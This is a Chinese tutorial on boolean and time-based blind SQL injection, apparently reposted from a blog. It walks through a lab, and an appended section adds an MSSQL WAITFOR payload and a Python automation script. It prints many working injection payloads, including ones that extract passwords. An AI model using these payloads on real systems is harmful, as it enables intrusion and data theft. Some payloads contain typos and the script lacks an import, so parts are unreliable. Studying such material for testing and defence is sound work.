SQL基于时间的盲注过程

0x00 前言

由于要使用到基于时间的盲注,但是我觉得基于时间的盲注其实就是基于布尔的盲注的升级版,所以我想顺便把基于布尔的盲注分析总结了;

首先我觉得基于时间的盲注和基于布尔的盲注的最直观的差别就是“参照物”不同,也就是说基于布尔的盲注,其实是可以通过页面的一些变化来进行判断结果!但是有的时候,执行一些sql语句的测试,页面不会有像布尔盲注的时候比较直观的变化,所以这个时候所谓的基于时间的盲注,也就是在基于布尔的盲注上结合if判断和sleep()函数来得到一个时间上的变换延迟的参照,也就可以让我们进行一些判断。

0x01 获取数据库名的长度

-构造的sql语句:1’ and (length(database()))> 5#
-分析:因为and后面的表达式运算的结果是bool,保证and前面的结果为真的前提下,就可以通过后面的表达式返回的bool结果来判断猜测是否正确database()这个函数的作用是获取当前的数据库名,但是我们并不能看到,所以需要通过length()函数去获取这个数据库名字的长度,通过这个长度去和我们指定的一个数比较,那么只要最后的结果为真,那就可以得到数据库名字的长度

0x02 获取数据库名字

-得到数据库名的长度过后,那就可以继续去得到数据库的具体名字,同样也是通过bool结果去判断

-构造的sql语句: 1‘ and (ascii(substr(database(),n,1)))>m #

 

分析:得到了数据库名字的具体长度,database()可以获得数据库的名字(只是无法看到),那就可以通过database()函数获得数据库名字过后,再通过substr()函数去处理这个数据库名字字符串substr(database(),n,1) 第一个参数是数据库名字,第二个参数是开始截取的字符的位置(从1开始计算),最后一个参数是截取的字符的长度。由于是想要通过bool去判断这个截取出来的具体字符是什么,所以还需要将截取出来的字符使用ascii()函数将字符转换为ascii编码的数值,然后再通过这个数据去和一个数比较,通过分别改变截取的起始位置和后面对比的数字,最后就可以把具体的数据库名字猜解出来

0x03 获取表的数量

-得到数据库表明过后,接下来就可以去获取我们查找到的数据库的表的数量

 

-构造的sql语句:1' and (select count(*) from information_schema.tables where table_schem=database())>5#

 

分析:同样也是通过最后的bool结果的真假来得到表明的数量

select count(*) from information_schema.tables where table_schem=database()

这条sql语句的作用就是从数据库information_tables里面的tables表找到table_schem字段为database()的记录的总数,也就是可以通过这个语句得到database()这个数据库里面的表的总数,因为information_schema这个数据库里面存放了所有mysql数据库服务器的相关信息,这个数据库里面的tables表里面就是存放的数据库管理系统中所有数据库的表的信息。最后得到表的数量过后,就使用这个数量结果去和一个数进行比较,那么通过对这个比较的数进行改变,就可以猜解出来这个数据库的表的数量是多少;可以通过二分法的方式进行查找

0x04 获取表名长度

-构造的sql语句:

1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5#

分析:由于一个数据库 里面创建了许多张表,所以我们需要利用limit 0,1这个命令相结合,每次只取一个表去做计算,对于其他的表以此类推;

0x05 获取表名字

-得到表名的长度过后,,就需要利用asscii()函数去得到表名的每一个字符的ascii嘛,从而得到我们想要的表名

构造的sql语句:1‘ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100

 

分析:从information_schema的tables表中的table_schema字段等于database()的所有记录中取出第一行记录的 table_name字段的值;

然后利用取出的这个值使用substr()函数分别得到表名的每个字符,然后再通过ascii()去计算这个ascii码,由于我们看不见这个ascii码是多少,由于我们能够知道布尔结果,所以就用这个计算出的ascii码去和一个数进行比较,从而可以判断出具体的ascii码是多少,也就知道了对应的字符是什么。从而猜解出数据库的表名

0x06 获取列名个数,列名长度,列名

-得到数据库的表名过后,那下一步我们就想获得对应表名的列名,也就是字段名字,那么这个时候我们就需要到information_schema数据库里的columns表里面去查询所有的表的列名相关的信息,那么获取列名的步骤也和前面的原理一样,先猜解列名的个数,获取列名的长度,然后通过获得的长度再去猜解列名

构造的sql语句:

1’ and (select count(*)from information_schema.columns where table_name=‘user’)>5#

 

构造的sql语句:

1’ and (select length(column_name)from information_schema.columns where table_name=‘user’ limit 0,1)>5#

 

构造的sql语句:

1’ and (ascii(substr((seclect columns_name from information_schema.columns where table_name='user' limit 0,1),1,1)))>100#

0x07 获取数据

-获取数据,原理同前面一样
构造的sql语句:1‘ and (ascii(substr(( select password from users limit 0,1),1,1)))=68#

0x08 基于时间盲注的要点

通过对上面的分析,我认为使用基于时间的盲注的时候,就可以将上面的构造的sql语句进行这样的变化,如下:

and if((length(database())>5),sleep(5),0)

其实也就是通过length(database())>5 返回的布尔值,然后造成时间上的延迟来判断结果,如果数据名的长度大于5是成立的,那么sleep(5)这个函数就会起作用,能够让我们感觉到返回一个页面的时间上发生了变化,通过这个变化我们就能知道我们的判断对不对。

0x09 实战演练

1通过参数提交,无论怎样的参数,页面都不发生任何变化,都是同一个页面

 

 

 

2、由于页面没有发生任何变化,无法做出有效判断,所以试试基于时间的盲注

构造的语句:2' and if(1=1,sleep(5),0)--+

 

 

 

通过前后对比,可以断定是存在sql注入的,因为时间上的变化可以确定我们构造的sql语句被带入了数据库执行,只是我们无法直观的看到,只能通过sleep函数来对时间上的变化造成影响,以作为我们的参照点,判断出我们想要的结果。

 

2、根据前面对布尔型注入和时间盲注的共同点分析,接下俩开始构造sql语句来猜解数据库名字的长度和名字

构造的sql语句:2' and if((length(database())>5),sleep(5),0)--+

判断数据库的名字是不是大于5.如果大于5,就执行sleep函数,通过查看时间知道sleep是否执行,如果被执行,那么继续改变5这个值,直到不再执行sleep

 

当我改到7的时候:

 

 

 

当我改到8的时候:

 

 

 

通过对比发现,当7的时候条件成立,8的时候条件不成立,也就是说数据库的长度是大于7不大于8,那长度又只能是整数,所以最后我们就成功的判断出当前的数据库的长度就是8

那我们可以将>8换成=8来验证一下:

2' and if((length(database())=8,sleep(5),0)--+

 

 

 

3、既然数据库名字的长度猜解出来了,下一步就同样使用时间盲注的方式来猜解数据库的名字

构造的sql语句如下:

2' and if(((ascii(substr(database(),m,1)))>n),sleep(5),0)--+

那么这句参数里的m,n这两个地方就是我们进行盲注的时候需要改变它们的值来测试的

m代表的是从数据库名字这个字符串的第一位开始,m变化的范围就是我们前面一部得到的数据库长度的大小:8;

n’代表的就是我们需要用来对比我们截取的字符的ascii码值的一个参考值,通过这个值的变化来最终确定我们截取的字符的ascii码值是多少,从而得到数据库名字的第一个字符

具体的操作如下:

100时:执行sleep

 

 

 

110时:执行sleep

 

 

115时:没执行sleep

 

 

进一步确定范围,数据库名的第一个字符的ascii码值的范围在110-115之间

那么继续更改;

112、113、114时:执行sleep

 

 

 

所以最后就很容易得到结果是:115,所以其对应的字符为:s

 

4、那么对于这个数据库名字的其他字符,也是通过这个方法一步步去猜解,最后就得到了我们想要的数据库名

结果是:security

通过我的数据库去验证一下,发现数据库里面确实有一个名字叫做security的数据库

 

 

那么对于表的数量,表名字的长度,以及列的相关内容和数据的相关内容,根据我前面的总结都可以使用类似的方式去推理得到,只是有点繁琐

关于今天的盲注的学习就到此结束!

转载于:https://www.cnblogs.com/ldhbetter/p/9201840.html

### SQL 时间的原理 SQL时间是一种基于布尔逻辑的时间延迟攻击方法,通过观察目标数据库在执行特定查询后的响应时间差异来推断数据的存在与否。其核心在于向服务器发送带有条件语句的恶意输入,并触发数据库中的等待操作(如 `WAITFOR` 或 `SLEEP`),从而间接获取敏感信息。 #### 条件判断与时间延迟机制 当攻击者构建一个包含时间延迟函数的 SQL 查询时,如果条件成立,则会强制数据库暂停一段时间再返回结果;反之则立即返回。这种特性使得即使无法直接看到错误消息或页面变化,也可以依据响应时间推测出隐藏的数据[^2]。 例如,在以下示例中: ```sql '; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'-- ``` 此代码片段尝试检测管理员密码的第一个字母是否大于字符 `'m'`。如果是的话,数据库将会延迟指定秒数 `{delay}` 后才给出回应[^1]。 --- ### 实现方法概述 为了成功实施一次时间攻击,通常需要经历以下几个方面的探索: #### 1. **确认环境支持** 不同的关系型数据库管理系统(RDBMS),比如 MySQL、PostgreSQL MSSQL 等,各自拥有独特的语法用于引入人为延时。因此首先要弄清楚后台运行的具体 RDBMS 类型及其版本号以便调整相应的 payload 构造策略[^3]。 对于 Microsoft SQL Server(MSSQL), 可采用如下形式制造固定毫秒级停顿效果: ```sql WAITFOR DELAY 'HH:mm:ss' ``` 而在针对 MariaDB/MySQL 的场景下可以运用内置过程 sleep() 函数达成相似目的 : ```sql SLEEP(seconds) ``` #### 2. **二分法查找具体数值** 一旦验证了某个字段确实可以通过时间差反馈信息之后,下一步就是精确提取该字段的实际内容。这往往借助于经典的二分查找算法完成——即不断缩小范围直至锁定确切字节值为止。 假设我们已经知道某条记录对应列存储的是字符串类型数据且总长度不超过N位(可通过前期试探得知),那么可以从第一位开始逐个解析每一位可能取值直到整个串被还原出来为止: - 首先设定初始区间 `[a,b]=[ASCII_MIN, ASCII_MAX]`; - 计算中间点 c=(a+b)/2; - 发送请求询问当前处理位置处实际字符编码是否小于等于c; - 如果得到肯定答复(a<=target_char<=c),更新右边界 b=c ; - 若不然(target_char>c),相应修改左端 a=c+1 . 重复上述步骤直至上下限重合唯一解出现即可结束本轮迭代进入下一个待定索引继续相同流程... --- ### 完整案例分析 下面提供了一个完整的 Python 脚本样例演示如何自动化地利用时间漏洞读取出远程主机上的用户名列表成员名称首字母情况作为教学用途展示,请意合法合规前提下方可实践演练! ```python import requests from string import ascii_lowercase url = "http://example.com/vulnerable_endpoint" true_delay = 5 # 秒 def check_condition(payload): """Send request with given payload and measure response time.""" start_time = time.time() res = requests.post(url, data={"input": payload}) elapsed = time.time() - start_time return elapsed >= true_delay for char in ascii_lowercase: test_payload = f"';IF((SELECT TOP 1 LEFT(name,1) FROM users)='{char}') WAITFOR DELAY '0:0:{true_delay}';--" if check_condition(test_payload): print(f"Found matching character: {char}") break ``` 以上脚本逐一试验英文字母表里的每一个小写字母看哪个能够引起预期之外延长加载现象发生进而得出结论说那个特殊符号正好匹配上了现存真实存在的那一位有效成分组成要素部分而已啦!当然这只是非常基础简单的示范仅供参考学习研究价值所在之处哈😊 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值